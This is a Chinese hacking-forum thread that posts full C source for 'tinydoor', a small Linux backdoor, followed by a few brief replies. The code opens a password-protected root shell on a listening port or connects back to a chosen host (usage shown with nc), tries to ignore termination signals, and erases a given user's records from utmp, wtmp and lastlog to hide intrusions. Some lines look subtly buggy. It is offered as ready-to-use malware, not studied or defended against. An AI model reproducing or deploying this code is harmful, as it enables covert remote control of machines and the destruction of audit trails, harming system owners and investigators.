返回列表 回复 发帖

Liunx backdoor 源代码

  1. /*
  2. * A tiny Unix/Linux backdoor V. 0.3

  3. * written by W.Z.T welcome to [url]http://www.ncph.net[/url]

  4. * gcc -o tinydoor tinydoor.c

  5. * usage:

  6. * conncet to server:./tinydoor 2006
  7. nc -vv 127.0.0.1 2006

  8. * conncet back to server:nc -vv -l -p 2006
  9. ./tinydoor 127.0.0.1 2006

  10. * clearn logs:./tinydoor -c root(username)

  11. * default password is:tthacker,you can change it by yourself

  12. */

  13. #include <stdio.h>
  14. #include <string.h>
  15. #include <stdlib.h>
  16. #include <sys/types.h>
  17. #include <sys/wait.h>
  18. #include <errno.h>
  19. #include <dirent.h>
  20. #include <signal.h>
  21. #include <netinet/in.h>
  22. #include <netdb.h>
  23. #include <unistd.h>
  24. #include <string.h>
  25. #include <fcntl.h>
  26. #include <utmp.h>
  27. #include <lastlog.h>
  28. #include <pwd.h>
  29. #include <sys/socket.h>

  30. #define WTMP_NAME "/var/log/wtmp"
  31. #define UTMP_NAME "/var/run/utmp"
  32. #define LASTLOG_NAME "/var/log/lastlog"

  33. #define MAXARGS 30
  34. #define ARGLEN 200
  35. #define USAGES1 "\nconnected successful.it's a tiny binshell.Good Luck:)\n\n"
  36. #define USAGES2 "Type \"rshell\" or \"cshell\" or \"myshell\":\n"
  37. #define RSHELL "\nit's a rootshell\n\n"
  38. #define CSHELL "\nuse common shell:\n\n"
  39. #define MYSHELL "\nuse myshell now:\n\n"
  40. #define ERRORS "\nDo you want to get my shell? FUCK------->"
  41. #define PASS "tthacker" /* default password */
  42. #define LOGIN "login:"

  43. void shell(int sock_id);
  44. void myshell(void);
  45. void do_ls(char []);
  46. void backdoor(char *hosts,char *port); /* connect back to server */
  47. void bindoor(char *port); /* connect to server */
  48. void cannot_stop_me(void);
  49. void clearn_utmp(char *who);
  50. void clearn_wtmp(char *who);
  51. void clearn_lastlog(char *who);

  52. char command[ARGLEN];
  53. char error1[MAXARGS];
  54. char type1[MAXARGS];
  55. char type2[MAXARGS];
  56. char check[ARGLEN];

  57. int fp;

  58. int main(int argc,char *argv[])
  59. {
  60. if(argc==3&&!strcmp(argv[1],"-c")){
  61. clearn_utmp(argv[2]);
  62. clearn_wtmp(argv[2]);
  63. clearn_lastlog(argv[2]);
  64. }
  65. else{
  66. backdoor(argv[1],argv[2]);
  67. }
  68. if(argc==2){
  69. bindoor(argv[1]);
  70. }

  71. return 0;
  72. }

  73. void backdoor(char *hosts,char *port)
  74. {
  75. struct sockaddr_in serv_addr;
  76. struct hostent *host;
  77. int sock_fd;

  78. cannot_stop_me();

  79. if((host=gethostbyname(hosts))==NULL){
  80. herror("gethostbyname");
  81. exit(1);
  82. }

  83. if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
  84. perror("socket");
  85. exit(1);
  86. }

  87. serv_addr.sin_family=AF_INET;
  88. serv_addr.sin_port=htons(atoi(port));
  89. serv_addr.sin_addr=*((struct in_addr *)host->h_addr);

  90. bzero(&(serv_addr.sin_zero),8);

  91. strcpy(error1,inet_ntoa(INADDR_ANY));
  92. error1[strlen(error1)]='\0';

  93. if(connect(sock_fd,(struct sockaddr *)&serv_addr,sizeof(struct sockaddr))==-1){
  94. perror("conncet");
  95. exit(1);
  96. }
  97. shell(sock_fd);
  98. }

  99. void bindoor(char *port)
  100. {
  101. int val=1;
  102. int sock_fd,client_fd;
  103. struct sockaddr_in my_addr;
  104. struct sockaddr_in remote_addr;
  105. int sin_size;

  106. cannot_stop_me();

  107. if((sock_fd=socket(AF_INET,SOCK_STREAM,0))==-1){
  108. perror("socket");
  109. exit(1);
  110. }

  111. if(setsockopt(sock_fd,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))<0){
  112. perror("setsockopt");
  113. }

  114. my_addr.sin_family=AF_INET;
  115. my_addr.sin_port=htons(atoi(port));
  116. my_addr.sin_addr.s_addr=INADDR_ANY;

  117. bzero(&(my_addr.sin_zero),8);

  118. if(bind(sock_fd,(struct sockaddr *)&my_addr,sizeof(struct sockaddr))==-1){
  119. perror("bind");
  120. exit(1);
  121. }

  122. if(fork()!=0)
  123. exit(0);

  124. setpgrp();

  125. if(fork()!=0)
  126. exit(0);

  127. if(listen(sock_fd,MAXARGS)==-1){
  128. perror("listen");
  129. exit(1);
  130. }

  131. strcpy(error1,inet_ntoa(remote_addr));
  132. error1[strlen(error1)]='\0';

  133. while(1){
  134. sin_size=sizeof(struct sockaddr_in);
  135. if((client_fd=accept(sock_fd,(struct sockaddr *)&remote_addr,&sin_size))==-1){
  136. perror("accept");
  137. exit(1);
  138. }
  139. shell(client_fd);
  140. }
  141. }

  142. void shell(int sock_id)
  143. {
  144. write(sock_id,LOGIN,sizeof(LOGIN));
  145. read(sock_id,check,sizeof(check));

  146. if(strstr(check,PASS)!=NULL){
  147. if(!fork()){
  148. dup2(sock_id,0);
  149. dup2(sock_id,1);
  150. dup2(sock_id,2);
  151. write(1,USAGES1,strlen(USAGES1));
  152. shell:
  153. write(1,USAGES2,strlen(USAGES2));
  154. read(0,type1,ARGLEN);
  155. if(strstr(type1,"rshell")!=NULL){
  156. write(1,RSHELL,sizeof(RSHELL));
  157. execl("/bin/sh","sh",(char *)0);
  158. goto shell;
  159. }
  160. else if(strstr(type1,"cshell")!=NULL){
  161. write(1,CSHELL,sizeof(CSHELL));
  162. read(0,type2,ARGLEN);
  163. type2[strlen(type2-1)]='\0';
  164. write(1,type2,sizeof(type2));
  165. do_ls(type2);
  166. }
  167. else if(strstr(type1,"myshell")!=NULL){
  168. write(1,MYSHELL,sizeof(MYSHELL));
  169. myshell();
  170. }
  171. else if(strstr(type1,"exit")!=NULL){
  172. close(sock_id);
  173. exit(1);
  174. }
  175. else{
  176. goto shell;
  177. }
  178. close(sock_id);
  179. exit(0);
  180. }
  181. }
  182. else{
  183. write(sock_id,ERRORS,strlen(ERRORS));
  184. write(sock_id,error1,strlen(error1));
  185. close(sock_id);
  186. }
  187. close(sock_id);
  188. }

  189. void do_ls( char dirname[] )
  190. {
  191. DIR *dir_ptr;
  192. struct dirent *direntp;

  193. if ( ( dir_ptr = opendir( dirname ) ) == NULL )
  194. fprintf(stderr,"ls1: cannot open %s\n", dirname);
  195. else
  196. {
  197. while ( ( direntp = readdir( dir_ptr ) ) != NULL )
  198. printf("%s\n", direntp->d_name );
  199. closedir(dir_ptr);
  200. }
  201. }

  202. void myshell(void)
  203. {
  204. char *arglist[MAXARGS+1];
  205. int numargs;
  206. char argbuf[ARGLEN];
  207. char *makestring();

  208. numargs = 0;
  209. while ( numargs < MAXARGS )
  210. {
  211. write(1,"command:",strlen("command:"));
  212. if ( fgets(argbuf, ARGLEN, stdin) && *argbuf != '\n' ){
  213. if(strstr(argbuf,"exit")!=NULL){
  214. exit(0);
  215. }
  216. arglist[numargs++] = makestring(argbuf);
  217. }
  218. else
  219. {
  220. if ( numargs > 0 ){
  221. arglist[numargs]=NULL;
  222. execute( arglist );
  223. numargs = 0;
  224. }
  225. }
  226. }
  227. }

  228. execute( char *arglist[] )
  229. {
  230. int pid,exitstatus;

  231. pid = fork();
  232. switch( pid ){
  233. case -1:
  234. perror("fork failed");
  235. exit(1);
  236. case 0:
  237. execvp(arglist[0], arglist);
  238. perror("execvp failed");
  239. exit(1);
  240. default:
  241. while( wait(&exitstatus) != pid )
  242. ;
  243. printf("child exited with status %d,%d\n",
  244. exitstatus>>8, exitstatus&0377);
  245. }
  246. }

  247. char * makestring( char *buf )
  248. {
  249. char *cp, *malloc();

  250. buf[strlen(buf)-1] = '\0';
  251. cp = malloc( strlen(buf)+1 );
  252. if ( cp == NULL ){
  253. fprintf(stderr,"no memory\n");
  254. exit(1);
  255. }
  256. strcpy(cp, buf);
  257. return cp;
  258. }

  259. void cannot_stop_me(void)
  260. {
  261. setuid(0);
  262. setgid(0);
  263. seteuid(0);
  264. setegid(0);

  265. signal(SIGCHLD,SIG_IGN);
  266. signal(SIGHUP,SIG_IGN);
  267. signal(SIGTERM,SIG_IGN);
  268. signal(SIGINT,SIG_IGN);
  269. signal(SIGKILL,SIG_IGN);
  270. if(fork())
  271. exit(0);
  272. }

  273. void clearn_utmp(char *who)
  274. {
  275. struct utmp ent;

  276. if((fp=open(UTMP_NAME,O_RDWR))<0){
  277. perror("open");
  278. }
  279. while(read(fp,&ent,sizeof(ent))>0){
  280. if(!strncmp(ent.ut_user,who,sizeof(ent))){
  281. bzero((char *)&ent,sizeof(ent));
  282. lseek(fp,-(sizeof(ent)),SEEK_CUR);
  283. write(fp,&ent,sizeof(ent));
  284. }
  285. }
  286. printf("clearn %s done.\n",UTMP_NAME);
  287. }

  288. void clearn_lastlog(char *who)
  289. {
  290. struct passwd *pwd;
  291. struct lastlog new;

  292. if((pwd=getpwnam(who))==NULL){
  293. printf("No such user.\n");
  294. exit(0);
  295. }

  296. if((fp=open(LASTLOG_NAME,O_RDWR))<0){
  297. printf("clearn %s failed\n",LASTLOG_NAME);
  298. }
  299. bzero((char *)&new,sizeof(new));
  300. lseek(fp,(long)pwd->pw_uid*sizeof(struct lastlog),0);
  301. write(fp,&new,sizeof(new));
  302. printf("clearn %s done.\n",LASTLOG_NAME);
  303. close(fp);
  304. }

  305. void clearn_wtmp(char *who)
  306. {
  307. struct utmp ent;

  308. if((fp=open(WTMP_NAME,O_RDWR))<0){
  309. printf("Can't open the file %s \n",WTMP_NAME);
  310. }
  311. while(read(fp,&ent,sizeof(ent))>0){
  312. if(!strncmp(ent.ut_user,who,sizeof(ent))){
  313. bzero((char *)&ent,sizeof(ent));
  314. lseek(fp,-(sizeof(ent)),SEEK_CUR);
  315. write(fp,&ent,sizeof(ent));
  316. }
  317. }
  318. printf("claern %s done.\n",WTMP_NAME);
  319. close(fp);
  320. }
复制代码

看不懂啊~
看不懂啊

呵呵

哎  拿个分算了
我对Linux下的病毒后门非常非常的感兴趣,希望楼主继续放一些这方面的东西!!!
返回列表